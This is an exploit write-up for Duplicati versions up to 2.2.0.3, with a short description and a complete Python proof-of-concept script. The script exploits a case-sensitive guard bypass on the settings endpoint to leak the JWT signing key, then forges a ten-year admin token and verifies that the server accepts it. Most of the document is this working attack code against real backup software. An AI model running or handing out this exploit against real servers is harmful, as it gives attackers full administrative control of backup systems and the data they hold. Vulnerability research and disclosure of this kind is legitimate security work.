# Exploit Title: Duplicati 2.2.0.3 - JWT Signing Key Leak
Bypass leading to Token Forgery
# Date: 2026-06-23
# Exploit Author: Gabriel Rodrigues TEXUGO from HAKAI
# Vendor Homepage: https://www.duplicati.com
# Software Link: https://github.com/duplicati/duplicati
# Version: <= 2.2.0.3 (commit 6ad921166 and earlier)
# Tested on: Duplicati 2.2.0.3 (Docker) + Duplicati master branch
# CVE: Pending (researcher assigned)
# References:
# - https://github.com/duplicati/duplicati/pull/6787 (fix)
# - Responsible disclosure to maintainer
Description:
Duplicati exposes the JWT signing key through a case-sensitive guard bypass
in the settings endpoint. A GET request to /api/v1/serversetting/JWTConfig
(PascalCase) bypasses the guard check for "jwt-config", allowing any
authenticated user to retrieve the secret. With the extracted SigningKey,
Authority and Audience, an attacker can forge a long-lived admin token that
grants full administrative access to the application.
import json, sys, time, requests, jwt
PROXIES = None
if "--proxy" in sys.argv:
proxy = sys.argv[sys.argv.index("--proxy") + 1]
PROXIES = {"http": proxy, "https": proxy}
requests.packages.urllib3.disable_warnings()
def login(url, password):
r = requests.post(f"{url}/api/v1/auth/login", json={"Password": password, "RememberMe": False}, proxies=PROXIES, verify=not PROXIES)
r.raise_for_status()
return r.json()["AccessToken"]
def get_setting(url, token, key):
r = requests.get(f"{url}/api/v1/serversetting/{key}", headers={"Authorization": f"Bearer {token}"}, proxies=PROXIES, verify=not PROXIES)
return r.status_code, r.text
def forge_token(jwt_config):
now = int(time.time())
return jwt.encode({
"typ": "AccessToken",
"sid": "web-api",
"fam": "temporary",
"nbf": now,
"exp": now + 10 * 365 * 86400,
"iss": jwt_config["Authority"],
"aud": jwt_config["Audience"],
}, jwt_config["SigningKey"], algorithm="HS256")
def main():
url, password = sys.argv[1], sys.argv[2]
token = login(url, password)
status, _ = get_setting(url, token, "jwt-config")
print(f"GET /serversetting/jwt-config -> {status} (blocked by guard)")
status, body = get_setting(url, token, "JWTConfig")
print(f"GET /serversetting/JWTConfig -> {status} (guard bypassed)")
jwt_config = json.loads(body)
if isinstance(jwt_config, str):
jwt_config = json.loads(jwt_config)
print(f" SigningKey: {jwt_config['SigningKey']}")
print(f" Authority: {jwt_config['Authority']}")
print(f" Audience: {jwt_config['Audience']}")
forged = forge_token(jwt_config)
print(f"\nForged token: {forged}")
status, _ = get_setting(url, forged, "AllowedHostnames")
print(f"Verify forged token -> {status}")
if status == 200:
print("RESULT: Forged token accepted, full admin access achieved")
if __name__ == "__main__":
main()